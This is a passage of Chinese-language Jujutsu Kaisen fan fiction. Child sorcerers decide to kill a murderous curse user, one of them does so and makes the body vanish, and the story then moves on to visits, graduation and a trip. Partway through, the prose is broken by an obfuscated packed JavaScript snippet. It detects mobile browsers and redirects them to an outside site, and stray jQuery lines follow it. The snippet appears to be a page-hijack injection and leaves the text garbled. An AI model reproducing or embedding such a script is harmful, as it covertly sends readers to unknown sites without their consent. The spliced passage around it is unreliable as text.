“嘛,我家里根本没地方看,弥山他们以前很喜欢来这种地方,”五条悟已经全副武装,不知道什么时候拿着两杯饮料和小零食放到了他们前面的小桌子上,“这部电影很搞笑,但是结局的时候女主角没有和男主角在一起,他们......” “等等,你这不是全都剧透了吗!?” 惨遭剧透的夏油杰决定下次说什么都不能跟着五条悟看了,除非他们一起去电影院看新上映的电影,否则免谈。 虽然这部电影的确很搞笑就是了。 他们出来的时候才三点多,在附近的街边转悠了两圈,没找到什么好玩的店,就顺着大道往前漫无目的地溜达。 “想打街机——”五条悟抱着头,走得六亲不认。 夏油杰对他豪放的走路姿势的评价是:五条家肯定全是老古板,瞅瞅给人压抑成什么样了......这也许就是叛逆期?是触底反弹了吗? “对了,”五条悟灵机一动,“不如趁着这个机会,咱们去把那个诅咒师解决了吧!” 粟坂二良的作案频率有所下降,似乎也是受到了天气影响......杀人犯也不喜欢在荒郊野地里一边扒皮一边冻得瑟瑟发抖。 “如果总监部没有判他死刑的话,”夏油杰觉得脚趾有点凉飕飕的,“怎么办?” 五条悟想了想:“稍微有点难办。” “......” 他又说:“尸体得叫家里人来处理,在他们来之前咱们得一直待在那附近......对了,你会用‘帐’吗?弥山不会连这个都没教你吧?差评!” 看到夏油杰震惊的眼神,五条悟不解:“怎么了?” 夏油杰指了指五条悟,又指了指自己:“你的意思是......咱们把他......杀了?” 他花了一点时间才把“杀”这个字念出来。 五条悟瞪出滑稽的大小眼,似乎听到了什么不可思议的话:“你还想放了他?老头子们总唠叨的什么‘咒术师以保护非术师为宗旨’,说得不就是这个意思吗?” 尽管是已经听到耳朵起茧的大道理,但很明显,再放任这样危险的人物在外面乱窜,很难保证不会有诅咒因为恐惧“水海道连环杀手”而诞生。抑制诅咒生成的最根本因素就是保证普通人内心的安定,这个杀人犯已经搅得这里不得安宁了。 “不,我没有那个意思。”夏油杰不是想要放过诅咒师,只是对于“杀死对方”这个选择还有疑虑。 毕竟从小到大他接受的所有教育都规劝他要遵守名为“法律”的准则,杀人是不被允许和不被原谅的事。 诅咒师已经杀了很多人,他罪该万死,但是现世的法律无法判他死刑,如果咒术界认为留下他的价值大于死刑的裁决,那么不就只剩下由这条连线之外的人来提前终结“可能被赦免”的结局这一个选择了吗? 夏油杰不想为诅咒师开脱,可是对于“杀人”的畏惧和对“生命”的敬畏还是让他问道:“如果杀人犯不止一个,或者他是被人陷害的,要怎么办?” 五条悟说:“弥山他们不都看过了吗?第一个命案就是他干的,板上钉钉的事。你别是去教堂听祷告听傻了吧?就算他之后为了自己干过的事痛哭流涕,跑到神父面前忏悔,只能说他后悔了。” “难道我每遇到一个人都要把他的人生从头到尾了解一遍吗?那是上帝该干的事,送他去见上帝就完了。” 五条悟知道有人曾经作恶但之后却迷途知返,如果有多余的精力,他不介意停下来听听他们怎么说。但世上总有无可救药的家伙,他又不是菩萨,就算那个人有再多的苦衷,他也懒得为这种人东奔西走,试着“感化”和“拯救”他们。 决定去会会这个诅咒师也是他心血来潮。 夏油杰觉得五条悟说得对。就像弥山经常说的,“只是想这么做而已”,很多事根本没办法想明白。因为他根本说服不了自己选择任何一方,最后只能倔强地站在中间,承受双方的痛苦。 他们没有找到那个诅咒师,幸也不幸,那个杀人犯的确被冬天的低气温困在家里了。 谢天谢地他们还记得在回家之前去超市买菜和调料,两个人各抱着几个纸袋往回走。 半路,夏油杰突然问道:“你长大以后准备干什么?” 学校经常会在开班会的时候的讲梦想和未来。夏油杰想知道如果他选择了成为咒术师的未来,他会干些什么呢?五条悟从小生活在咒术界,对于咒术师的未来肯定更了解。 “嗯?啊......大概可能会干一辈子咒术师吧?到处杀咒灵之类的。不过这事听起来就无聊,”五条悟不爽地撇嘴,“这么一想好像人生都到头了似的......真羡慕那两个家伙,想干什么干什么。” “弥山和星海?” 夏油杰没从五条悟的语气里听出“羡慕”的意思。 “是啊,简直不可理喻。” 活得太自我了。让人畏惧的自我至上主义。 夏油杰低头,纸袋子里堆在最上面的是几罐酸奶:“你也可以想干什么就干什么啊,你不是‘最强’吗?” “是‘以后’的最强,”五条悟指正道,“在我之前,星海会先成为‘那个人’。” 夏油杰没有听懂,五条悟却不准备继续解释了。 弥山和星海离开家族的三年是用“束缚”换来的,等到了时间,他们必须回到咒术界。不过善解人意的五条悟已经准备好了这个“束缚”中可以钻的空子。回五条家和去高专不是一样的嘛,都是咒术界,去哪不是去。 他觉得弥山一直打得就是这个主意,星海就放到一边不说了,至少弥山和五条悟的想法是一致的。如何从他们生而拥有的“天赋”构筑的世界中逃离?单纯的逃避,他们已经尝试过了。 像是现在,他们只是躲进了边缘和角落里,这可不叫逃离,他们还被困在咒术师的世界里。躲不掉,那就打出去呗。 弥山会让星海成为最强。 那两个人如果不是双子,只有任意一方的术式的话,没办法完成这个目的。 只要【代理人】在,【仳】就是最强的。 39.未完成的交易 “悟要出去遛弯吗?”弥山换好鞋,临出门前向屋子里喊道。 五条悟的回答更大声:“不要——杰赶快回家,我们联机打游戏!” “所以都说了我回去还要写作业......”夏油杰无奈。 弥山了然地关上了门,和夏油杰下楼。 “其实不用来送我,这条路上人很多的,没准我能在半路碰上我妈妈。” 弥山点头:“没错我也是这么想的,但是就这么回去我会被星海瞪,所以走走也没关系。” 他们跨过了八间渠的桥,继续往森下町的方向走。也许是接近新年的缘故,街道两旁的不少商店都关门了,贴着“几月几日重新开张”的纸条,没了那些橱窗的照明,就只剩下路灯的光亮。 人比想象中的要少很多。 夏油杰没能控制住自己的好奇心:“那个......我能问个问题吗?你不想回答也没问题,只是我实在有点想知道......” “有话就说呗,不想回答我自然不会理你,不要废话啦。”弥山拒绝搭理任何只在聊天界面发一个“在吗”就不说话了的人。 夏油杰就直说了:“你的眼睛是怎么搞的?还有你们为什么要离开五条家?” 弥山掰着手指:“第一,这个眼睛是意外。第二,因为不想待在那。” 太简单了吧!?虽然弥山给的答案无可挑剔地回答了所有的问题,但八卦的精髓就在这些标准答案之后!可是万一,那些事情会让他们再次受伤......夏油杰放弃了继续追问,将跳起来的好奇心压了下去。 弥山瞥了低头走路的小孩一眼,从他的角度刚好能看见夏油杰头顶的发旋。 哼,星海那家伙要是能有夏油杰一半温柔就好了。 “嗯?前面那个是我妈妈!好巧!”夏油杰一抬头就看到了熟悉的背影,最近父母似乎正在考虑搬到岩手,和爷爷奶奶住在一起。不过这件事轮不到夏油杰做主,一切都得看父母的工作调动。他自然不太想和刚认识的“同伴们”分开,但也不想把还没确定的事情分享给别人。 弥山的后背稍微挺直了一些,他拽住了夏油杰,尾音因为兴奋有点颤抖:“叫一声你妈妈,让她回头。” “?”夏油杰不明白为什么,但他还是照做了。 身体被扯着向前的刹那,他听到弥山说:“绕路带她回家,最好别让她看见。” 毕竟被看到“杀人”和“尸体”会很麻烦。 握住手臂的支撑很稳,夏油杰感觉到弥山的另一只手托着他的腰,后背像是安了什么助推器,整个人直接摔到惊讶地看着他的母亲怀里。 “杰?为什么在这?” 母亲的疑问夏油杰来不及回答,他下意识地遵循着弥山的要求,谎话脱口而出:“我想去那家冲绳家庭料理店吃晚饭,我们往那边拐吧!” “刚才......”夏油杰的母亲刚想回头,却被他强硬地拽上了另一条道。 这孩子手劲什么时候这么大了?她一回头就看见这孩子冲进怀里,好像还有另一个人,但是跑得太快了根本没看清就被拉到这边来了。 “走吧妈妈,”夏油杰不容置疑地向前,“我们买回家和爸爸一起吃吧。” 他已经在弥山和星海家吃过晚饭,但当时他的嘴巴比他的大脑转得更快,想出了这么一个理由。 “你想吃的话那我们就去吧。”母亲虽然疑惑,但没有深究。没准这孩子又看到了什么奇怪的东西......还以为等他长大就会好,看来还是得抽空带他去医院看看。 毫不知情的夏油杰只顾着低头快步向前。弥山为什么突然这么做?是遇到了......难道是那个诅咒师!?他立刻给星海和五条悟同时发去了短信。 弥山兜里的手机响了一声,但他没把注意力放在这上面。 “我还以为你能稍微收敛一点,”他用左眼盯着粟坂二良,“你的胆子比我想象中的还要大。” 毕竟是杀了五条家的人还敢在原地活动的诅咒师,没有这点疯狂恐怕也活不久。 粟坂二良掀开挡血的雨衣,他是一个身材较矮但一看就饱经锻炼的中年人,相比其他打工人来说他至少头顶还有点头发。 “虽然我很喜欢这份工作,”粟坂二良看出对面的小鬼身上均匀流淌着咒力,是个擅长咒力操作的家伙,“但还是想按时下班的啊。” 自由工作最大的好处就是可以决定自己可以什么时候上下班,现在突然出现的弥山将这一好处从他这里夺走了。那他也就不再在乎需要多加会班了! 弥山观察着粟坂二良,他的年龄是他的一大优势,毕竟活到他这个岁数的诅咒师多少都很会逃跑,肯定有不少稀奇古怪的手段。但是弥山自己的年龄也是一个烟雾弹,毕竟谁能在对付十三岁的少年时一上来就动真格的呢? 除了五条悟,没有小孩能得到这种待遇。 粟坂二良听见他对面的小鬼似笑非笑地说:“这样吧,我们相互公开术式,一击定胜负怎么样?” 哈哈,果然还是个小孩,被家里人保护得太好了吧?粟坂二良立刻就对弥山的来历做出的判断,估计是哪个大家族里的小少爷,身上应该也有悬赏吧?等杀了他之后回去看看,没想到这次出来还能有额外收入。 “赚大发了。” 巧合的是,弥山也是这么想的。难得有机会实验一下他术式的另一种用法,对方还是个诅咒师,再加上星海告诉他的那个术式......简直是瞌睡来了送枕头,再合适不过了! 他也不管粟坂二良答不答应,径直开口,说话的同时紧紧盯着对方:“我可以让你的术式在之后的一回合对攻中达到‘你能想象的极限’。” 弥山弯下腰,手垂在身体两侧,摆出准备起跑的预备姿势。指尖蹭过地面的时候,不露声色地飞快将一粒小石子捞进手里。 粟坂二良咧开嘴,凶恶地笑了起来。这个小鬼,一上来就是杀招,正合他意。而且看起来也没那么擅长咒力操作,浑身的咒力全都流向了双腿,攻击的意图简直不要太明显。 他的术式是【颠倒】,攻击时抱有的杀意、蕴含的力量越大,他反击的威力越大。一招定胜负,是他的绝对胜利! “但是,”弥山的声音遥遥传了过来,“你要付出自己的生命为代价,这样才公平。” 什么?他说的是?粟坂二良没有错过那喃喃自语一样细微、但潜藏着不怀好意的威胁。仅这一瞬间的犹豫,他站在了分岔口上。多年的诅咒师生涯让他警惕每一个直觉预警的瞬间,可选择相信直觉、规避危险的同时也在降低自身的警惕性。危机才能让人清醒,如果次次都躲了过去,不就太一帆风顺了吗? 因为“从没遇见过危机”,所以才会“怀疑危机是否真的存在”。 一瞬间的犹豫,弥山选择在这刹那出手。 他向前迈步,转腰甩手,将手中的小石子用低肩侧投的方式丢了出去。 粟坂二良察觉到自己上当了。通过观察对手咒力聚集的地方来判断下一招是术师的必修课,只有经过长期训练和对咒力操作具有极强天赋的术师才能控制咒力的流动方向,让攻击对敌人造成伤害前无法被看穿。 但是这个小鬼利用粟坂二良的惯性思维欺骗了他的眼睛。把咒力击中在双腿,让他以为自己会选择冲过来而不是站在原地发起远程进攻。粟坂二良很久没遇到过这么精明又让人讨厌的小孩了:“真是......太有意思了!” 果然应该工作一辈子! 飞来的石子上也附着了浓重的咒力,几乎是眨眼就飞到了眼前。虽然看起来不像是杀招,但还是稍微用术式挡一下......等等,万一那个小鬼说的是真的呢? 粟坂二良看到飞石后弥山的身影动了起来,这次他将所有的咒力集中在了拳头上,不管是不是障眼法,但是他既然选择冲过来......那么,刚才的话就是骗人的。 快用啊!等什么呢!弥山脸上笑着,心里不停抱怨。唯有这一点不好,【代理人】其实是让他处在“恩赐”与“代价”之间,他就像是一个奸诈的中间商一样从中调节,有选择性地往天平的两端放上东西,再用各种方式保证天平的平衡。 也许未来可以试试手动强行让它平衡,不过这种程度肯定需要领域或者黑闪状态的加持,现在就算有这个想法也只能暂时搁置。 但他的术式生效的节点在于“交易达成”,而不是天平“确认平衡”的瞬间。粟坂二良必须要使用术式,他才能收取代价。 咒力发生变化的瞬间,弥山停下了脚步。 粟坂二良还是选择使用了术式。 看到对面冲过来的那道身影停下来的瞬间,粟坂二良突然被一种难以忽视的危机感笼罩住了,仿佛有什么极度危险的东西盯上了他。 满口谎言、游走在咒术界几十年的诅咒师只用了不到零点一秒就选择遵从了本能。这次的直觉在预告他即将被夺走生命。好像有冰凉的钢针扎透了他的大脑,那一刹那的清明让他想明白了很多事情。 比如那个石子只是障眼法,比如对面那个术师说的是真的,比如——如果无法在术式生效前杀死对方,那他必死无疑!! 咚。 粟坂二良双膝跪地,直直地向前倒了下去。 弥山终于真心实意地笑了起来:“看来还是我的术式更快一点。” 他伸出手,放在路灯下张开又握紧,拳头在地面上留下了宛如心脏一般的浅灰色影子。 “原来是这种感觉,”他对身后晃荡着走过来的五条悟和星海说,“比我预想中的要复杂一些。” 星海只是瞥了一眼地上的尸体:“处理干净吧。” 五条悟将半张脸缩在围巾里,伸出两根手指在手机上打字。 弥山处理掉了粟坂二良的尸体。非术师死后的尸体会被他的术式判定为不含咒力的物体,处理起来比较简单。但是咒术师的尸体即便死后也不会出现咒力逸散的现象,因此在他的术式看来还是有咒力的物体,只能选择用杀死粟坂二良同样的方法,扯掉固定“现在”的锚,让未来“尸体腐烂分解消失”的可能性保持下去。 这次弥山选择由自己来确定完成天平平衡需要的代价。 黑色的眼睛不知道落在了何处,地上的那具尸体快速的完成了腐烂、分解、消失的过程,只能在地面上勉强看出一些渗进地表的残液。 一个人就这样从世界上悄无声息地消失了,连尸体都没有留下。 “杰那家伙又和爸妈去吃了家庭料理!”五条悟已经转身准备回家了,在短讯中给吃了两顿晚饭的夏油杰出馊主意,让他把咒灵藏在嘴里,假装是自己吃掉但实际上扔进咒灵的肚子,被夏油杰以太恶心了为由狠狠拒绝。 水海道连环杀手的确已经静悄悄地死亡了,但他带来的不安却没办法在一朝一夕间散去。 弥山有点后悔选择处理掉粟坂二良的尸体,如果留下就能告诉警察,有个人莫名其妙地死了,然后警察会顺藤摸瓜找到粟坂二良的暂住地,多少能找到一点证据,比如凶器之类的。这样就能宣告真凶已经死了而不是还躲在哪里伺机而动,水海道这股子阴暗压抑的氛围也能尽早散去。 星海觉得处理掉尸体是个正确的选择。那具尸体上留下了弥山的咒力,就算世界上没有第二个六眼,也还是会有被咒术师发现的可能性。粟坂二良的身上没有任何外伤,内脏除了原本就存在的病变也不会有任何其他的可疑之处。它们只是在那一瞬间被停止了运行而已。 星海不想让弥山的术式被咒术界知道的那么清楚。 只要有【代理人】在,任何术式、任何人、任何东西——都能是最强的。 —— 这次的新年初诣他们没有选择去东京和京都有名的神社,而是在附近找了一间不大不小、看起来还有特色活动的神社参拜,照例拿到了御神签,弥山还是说了“是大吉”。 夏油杰跟着父母去岩手找爷爷奶奶过年,五条悟被困在家里跑不出来。 新年第二天,弥山在门口见到了一位意想不到的访客。 “禅院甚尔?你怎么找过来的?为什么你们每个人都知道我们住哪啊!?”弥山此刻真情实感地嚎叫着。五条悟也就算了,这个离开禅院家的人又是从哪里知道的? 快和门框一样高的男人丝毫没有不请自来的愧疚感,径直进了门,把玄关堵得严严实实。 “这个嘛,得问那个六眼小鬼了,”禅院甚尔在星海愤怒的瞪视下拍掉大衣上的雪水,“他来你们这里的次数太多,暗网上已经贴出来了啊。” 弥山不许他穿着脏兮兮的、沾满雪水和泥巴的鞋子踏进他们家半步。 “你来到底想干什么?‘工作’不顺利?那你找我们也没......” “你们有认识的会用反转术式的术师吗?”男人在说话的时候似乎是在微微笑着,又似乎面无表情:“钱不是问题,我想让他帮忙治个人。” 弥山瞪着禅院甚尔没说话,星海把他推到身后:“没有。” 禅院甚尔停了一会,忽然叹了口气:“算了,没想到五条家也没有......那就没办法了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176877|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么人能让他向只有两面之缘的弥山和星海提出这样的请求? “反转术式又不是什么能够起死回生的能力,”弥山说,“比起常规的医疗手段,它只是‘更快’而已。” 能够使用反转术式治疗自己的术师本就很少,能够对外输出的更是少之又少。其本质是与构成咒力的负极能量相反的正极能量,领悟这一点的门槛就卡住了大多数人。 哪怕真的有可以使用反转术式治疗他人的术师,能够让断肢重生、还是仅仅愈合伤口,每个病人的情况都是不同的。这取决于病人对于术师咒力的接受程度,毕竟愈合伤口或者重生肢体的血肉都来自于术师的咒力,就像常规医疗手段中,输血需要检测血型、移植需要抵御排异一样。 反转术式最大的利用效率是让伤者能够在最快速度恢复战斗能力。就像被推进抢救室的病人,先保住一条命。 不知道禅院甚尔想要治疗的人是什么情况,如果是受伤严重,禅院甚尔直接把人送进医院都比到处找会反转术式的术师效率高。他又不是什么黑户,不至于被医院拒收。 除此以外,那就是有人生病了。 弥山很快就联想到反转术式能否用于病灶切除后的器官重生。这不但要求术师拥有极强的医学能力,而且病人对术师的咒力接受程度要尽可能高才行。反转术式对外输出的效率远低于治疗自己,因此对术师本人的能力也很挑剔。 想的有点远,可现实的结论就是,根本没有这样的人。 不论禅院甚尔想干什么,他都注定得不到好的结果。 男人的眼神和弥山每次见到他的时候没有任何变化。他似乎早已习惯接受这样让人失望的消息,正如他烂成一滩烂泥的人生,不论怎样都会从篮子里漏出去。 “算了,”他转身准备离开,开玩笑般地说道,“你们俩要是哪天能用了记得告诉我一声,少不了你们的。” 禅院甚尔就像来时一样,悄无声息地消失了。 “我还是想不通他来找两个未成年的原因。”弥山插着腰,认命地收拾玄关被踩脏的地面。 星海不知道从哪里发出一声笑:“觉得我们同病相怜?” 总不会是还和正经咒术界有点联系的人他就只认识他们俩吧? 不过,能让他回头向否定他的一切的咒术界求助的人,究竟是什么样子的呢? 禅院甚尔拉开车门,叼着烟的孔时雨问:“不顺利?” “没戏了,就算那两个小鬼长大了真有本事,她也等不起,”他靠在座椅背上,语气不明不白地说,“医院那边的费用没问题吧?” 孔时雨摇摇头:“你这家伙赚钱还是有一套的,我这边还有一单,要接吗?” “接。”禅院甚尔答应得很痛快。 小轿车很快消失在了大路拐角。 —— 期末考试成绩出来的时候,星海一如既往地低空飞过。弥山的成绩除了国文还是一样半死不活,一下课就趴在桌子上装死。 已经没有人会在下课后围到他们的课桌旁了,茂现在也不坐在他们后排,他们逐渐在班里成了透明人一样的存在。自从去年他们揍过那群不良之后,倒是没有人敢再在他们面前表现得太明显。勒索钱财的不良会把手搭在瑟瑟发抖的新生肩膀上,看着他们从楼道里走过。 让弥山感到轻松一点的是星海不再喜欢多管闲事。明明每次都是他让自己“别多管闲事”,可星海干得一点也不比他少。 弥山这么和他说的时候,星海没有多大的反应:“自己都不想救自己的人,是想等着上帝显灵吗?” 弥山被他逗得哈哈大笑,觉得他说得实在没什么问题。 夏油杰初中的时候准备回到岩手去上学了,他的父母已经做好了工作调动的准备。 “还有两年呢,到时候弥山你们已经上高中了,”夏油杰叼着冰棍,手上和五条悟“殊死拼杀”,“对了,你们决定好要去哪个学校了吗?” 附近倒是有一所茨城县立水海道第二高等学校,离他们家很近。 “应该是去东京的高专吧,”弥山啃苹果,“京都的老师都是老古董,东京校的那个大叔很好玩。” 他说的是上次在家族里见到的术式是【傀儡操术】的平头大叔。 夜蛾正道被请到五条本家的时候人还是懵懵的,他见到了五条家如今的家主,但看起来家主并不太想管这件事,寒暄了几句就把他仍在会议室自己一个人走了。接替他的是五条家的小少爷,也就是外界传闻无数的六眼。 五条悟手一挥,高专的各种入学手续和文件就拍到了夜蛾正道的眼前。 “为什么写的是日照?” 五条悟正在研究他带过来的咒骸,闻言随口说:“大叔你以后问他们俩呗。” 他想着既然已经准备好跑路了,自然得把五条这个姓氏换掉,这样跑的时候应该就没有人跑来五条家问了吧? 弥山和星海用的是家系入学的手续,其实很少有人看这个,但夜蛾正道还是将两份文件好好地收起来了。他在高专的办公室里还有一份招募入学、一份家系入学的申请表,明天他就要亲自去提前见见另外两个未来的学生。 这一届毕竟是他带的第一届学生,对教育抱有极大热忱的夜蛾正道为这四个孩子花了不少心思。 第三波人流水线似的进到了会议室,这次是夜蛾正道的正牌学生们。 弥山对这个长相“凶恶”却会做可爱玩偶咒骸的人很感兴趣。 “夜蛾老师的傀儡咒术学很厉害。” 夜蛾正道在来之前就已经见过弥山和星海的照片,因此现在区分他们并不困难。不过他还是不太能确定弥山是在和自己说话,还是在和星海说话。 咒骸是内侧寄宿有诅咒的自生可动非生物的总称,夜蛾正道擅长制作人工咒骸。 “总觉得,有哪里不太一样。” 现在夜蛾正道知道弥山是在和星海说话。他知道六眼能够识破术式,至于星海的这双眼睛,夜蛾正道的了解仅限于“视力低下”和“能够看穿咒力的流向”。后者只要是咒术师基本都能做到,原本夜蛾正道觉得星海可能看得更清楚一些,但现在他萌生了这双眼睛也能识破术式的猜测。 星海看了他一眼,没有选择在这里继续说什么。刚才被五条悟“蹂躏”过的咒骸就放在夜蛾正道旁边,如果不是确信五条悟的六眼都没能看出不对劲,夜蛾正道此刻真的会被星海的话吓出满身冷汗。 这个咒骸的确有所不同。 因为里面装的是真正的灵魂。 40.母子 师生的第一次会面草草结束,夜蛾正道带着弥山和星海的入学手续离开了五条本家。 许久没回来,可弥山和星海并没有升起半点怀念之情。不过,这里多少比他们离开的时候多了些变化,比如墙角拉起的电线,主屋外嗡嗡作响的空调外机,还有偷偷看手机的族人。 祖父祖母没有对他们回来有任何表示,他们自然乐得不用去见那两个老头老太太,直接走最短距离离开了这里。 他们将以日照弥山和日照星海的名字在明年四月入学东京都立咒术高等专门学校。 有了确切的去处,他们自然不用像其他三年级学生一样为升学考试而发愁,在普遍需要上各类补习的周末,他们把原本计划去玩的地方挨个逛了个遍。 准备去迪士尼的那天,他们还记得叫上五条悟。 夏油杰老家那边的是一所国立中学,需要通过入学考试竞争名额,因此这两年他要去上补习班准备考试,没能赶上这次出去玩。 不过这之前他已经跟着弥山他们去了周围一些很有名的景点、博物馆之类的,几乎每周都出去。 等他下了课,收到了五条悟发过来的照片。照片里弥山的眼罩上被画上了荧光色的卡通人物,三个人带着毛茸茸的耳朵发夹,五条悟举着一个巨大的三球圆筒冰激凌,笑得超级开心。 如果忽略照片下面那条有点欠揍的短讯的话,夏油杰也会很开心的。 不过,当天晚上他居然被弥山一个电话叫到了公寓,然后在那里见到了被五花大绑的一只咒灵。 “冰、冰激凌......”被揍得半死不活的咒灵委屈巴巴地说。 这一看就是五条悟的手笔,他揽着夏油杰兴奋地介绍:“杰!这家伙能制造冰激凌!快把他收了,这样以后就有免费冰激凌了!” “真的假的,咒灵做出来的冰激凌你也敢吃?”夏油杰质疑道。 咒灵打了个嗝,吐出一颗冰激凌球。 夏油杰指着地上的不明物体:“吃。” 星海捂脸,头一次有点崩溃地说:“我想揍人了,赶快把这玩意儿从我家扔出去!!” 弥山光顾着在一旁看好戏,被动承受了来自兄弟的怒火。 最后夏油杰秉持着不要白不要的想法,将冰激凌机成精似的咒灵搓成了咒灵玉,收了起来:“我回去吃。” 他戳着五条悟的脸,恶狠狠地说:“下次我用它做出来的冰激凌你可要好、好、吃、掉!!” 五条悟坚称那些冰激凌只是卖相差了点,他的六眼说那些真的是正常的冰激凌。 弥山突然想起了什么,他冲到卧室里从书桌上散落的无数张咒符中找出一张看起来完整一些的,拍到了夏油杰手上。 “这是什么?” “是融合了我的术式的咒符,”弥山教了他使用的方法,“还在实验阶段,术式效果和持续时间都很一般。大概能坚持两分钟左右吧,你可以在吃咒灵玉之前用。” 咒符一般是没有术式、空有咒力的咒术师或辅助监督们用来自保或完成任务时使用的,还有一些式神使会通过咒符召唤式神。用特殊的材料在纸上画出咒符的纹路,再配合咒力和言灵将术式的部分能力赋予这张咒符,一个能够脱手的、简易的、只需要注入咒力就能发动咒术的咒符就制作完毕。 但毕竟是咒符,还是脱手的那种,能够承载的术式效果自然大打折扣。用弥山的话来说,勉强达到十分之一已经是撞大运了,不然他卧室里也不会出现那么多废弃的咒符。 夏油杰看着他期待的目光,没能拒绝。吞吃咒灵玉的降服过程会让他很难堪,不管是过大的体积还是恶心的味道都会让他露出不想被其他人看到的狼狈相,他不想在任何人面前吞咒灵玉。 他给咒符中注入了咒力,但是没有感觉到任何变化。 “这是把‘过去的感觉’拉到现在的术式效果,所以你现在吃掉的话,应该不会有任何感觉。”相当于这两分钟里,使用了咒符的人是“不会有感觉”的。也就是说,味觉、痛觉、触觉不会发生变化。 【代理人】的这种使用方法理论上可以让人在短时间内变得无敌,可能否真的实现还要看现实使用时会不会出现其他的问题。毕竟术式都有等级之分,万一在遇到等级更高的术式发起的攻击时不起作用那就完蛋了。因为不确定因素太多,而且这种使用方法会消耗大量弥山自身的咒力,通常实战中他很少这么用。 如果真的将“无敌”当做恩赐祈求的话,术式效果恐怕连几秒钟都撑不住。这种看起来有商有量、留有自由选择的余地是【代理人】的优点,也是致命的缺陷。 “我也要!”五条悟说。 “那张是唯一一个能用的,再说了你有【无下限咒术】,要这个干什么?” 弥山只是做出来玩玩的,今天恰好遇见夏油杰,觉得给他吞咒灵玉的时候用也挺好。 夏油杰心一横,猛地将咒灵玉吞了下去。 没有咒灵玉滑过喉咙时难以忍受的窒息感,也没有臭抹布的味道,他甚至没来得及反应,那个冰激凌咒灵就已经完成了降服仪式,被他召唤了出来。 噗噗。它吐了两颗冰激凌球在桌子上。 “......真的诶。”夏油杰不可思议地说。 “看来这种程度是能被认可的,”弥山托着下巴,“其实我还想试试......” 星海敲在他的头上:“到此为止,你还是多想想怎么把成功率提上去吧。” 想到咒符制作的成功率,弥山抱头痛哭。他做了差不多几十张,才出了这么一张差不多能用的。 他趁着这两个月还在兴头上一口气做了不少,夏油杰手上至少有十多张能用的。 与此同时进行的还有对术式反转的研究,弥山卡在了所有试图攻克“反转”这一难题的人都遇到的第一个门槛前,那就是如何生成正极能量。 试到最后他已经开始祈求有一天他能突然开窍。 “这真的很看天赋。”弥山最终说出了这样的论断。 —— 2002年3月,毕业季。 学校的体育馆被改造了一番,搭起了一个小小的平台,正中挂起了校旗,两侧摆了一些鲜花。其余的地方摆满了圆凳,这里是毕业生们的位置。再往后就是家长们的座位,每个毕业生可以邀请一到两个家长来观礼,弥山和星海放弃了这个机会。 校长的毕业致辞闭着眼睛都能背出来,毕竟他已经讲了很多年。 上台、接过毕业证书,证明这三年中学生活到此告一段落。 闭幕后就到了自由活动的时间,学校教学楼前的广场上大片樱花树刚刚开花,只是偶尔有一两朵花瓣落到草坪上。不少人集中在教学楼前的立牌附近合影留念,或是在无人注意的角落和仰慕的人交换制服的第二颗纽扣。 “结束了啊。”弥山和星海站在天台上,三月初春的风还带着一点寒意,高处更是如此。 星海靠在他身边,向远处望去。 他们这偷来的三年结束了。 与星海期待的生活略有不同,但总比困在五条家要好得多。 “高专会发工资吗?”他没头没尾地问。 “偷偷干点私活也没关系吧?”弥山满不在乎。他听说高专的学生们出行会有辅助监督从旁协助,但是自由活动的时间应该还是有的。实在不行就去和禅院甚尔取经,他肯定知道诅咒师们用的暗网之类的东西。 星海没有接话。 弥山看他这样,叹了口气:“总有办法的啦,区区正极能量!!” 他说着说着,眼睛里闪起了光。 “已经......很接近了。” 星海把他从栏杆上拽下来,让他安分点。 “我不是在想这个。”星海从不怀疑弥山在咒术上的天赋。他想的也不是那个束缚,而是更遥远、更无法捉摸的一些东西。 比如,未来。 弥山无法舍弃咒术。他生来就会被咒术吸引,投入一生,为此“神”拿走了他的人心。 但是自己呢? 常说人最难看清的就是自己,星海似乎永远在害怕一些东西。小时候恐惧看不清的世界,长大了害怕和弥山分开,现在又因为畏惧而不敢审视自己的内心。 也许他真的更像妈妈,爱上的是从不曾拥有的自由。从那张婴儿床、从五条家、从咒术界彻底逃离,才能拥有不被束缚的权利。 可是。 他又看了一眼还在侃侃而谈的弥山。 似乎也不全是这样。 他想要的是决定一切的权力。身处何处并不重要,他想要的究竟是绝对的自由,还是绝对的掌控? 想不明白。 就像他根本做不到让弥山放弃咒术,全心全意选择他一样,他明白自己的半身和他是一样的。 “要来一场毕业旅行吗?”弥山问。 —— 北海道,旭川。 弥山和星海甚至没来得及在网络上提前预订住宿,他们直接跑到了北海道,抵达的时候已经饿得饥肠辘辘,随便钻进路边的一个烤肉店,结果还难吃得要死。 星海没有问为什么要来北海道,这个季节不论是滑雪还是去富良野看薰衣草都不太合适,总之稀里糊涂地就跟着弥山过来了。 踏上这片土地的时候,他们敏锐地察觉到了不同之处。他们脚下的这片大地是一个巨大的天然灵场,神秘且古老的阿依努咒术联盟就坐落在这里。听说这里的咒术师可以用咒力和这片灵场沟通,借用大地的力量祓除咒灵。 弥山尝试“用咒力连接大地”,但并没有收到任何回应。难道只有流着阿依努血脉的咒术师才能做到吗? 他们干脆地玩了两天,把旭川市动物园和美术馆都逛了一遍。 就是在动物园里又又又遇到了禅院甚尔。 “为什么!?为什么啊!?” 只能说这座岛还是太小了,不然怎么能连着三年每年都碰上一次!? “甚尔,是你认识的孩子?”这次禅院甚尔的身边同样跟着一个女人。不像是禅院甚尔会选择的“工作”,弥山正打量着她,禅院甚尔挡住了他的视线。 “啊,是家里的小辈,”男人奇怪的动作和态度让弥山挑眉,“你在这边等我一会。” 他们走到旁边没人的地方,禅院甚尔没有主动开口,星海还望着女人的方向,最终还是弥山说:“这也是‘工作’?和之前的那个差别也太大了。” 女人穿着普通又宽松的运动上下装,黑色的短发不太老实地翘起,身上的包挂在禅院甚尔的手臂上。 星海看着她,一眨也不眨。 禅院甚尔在弥山惊恐地表情中露出了一个笑容:“这次不是。” 那是温柔的笑容。 弥山闭上了嘴,摆手表示自己需要消化一下。 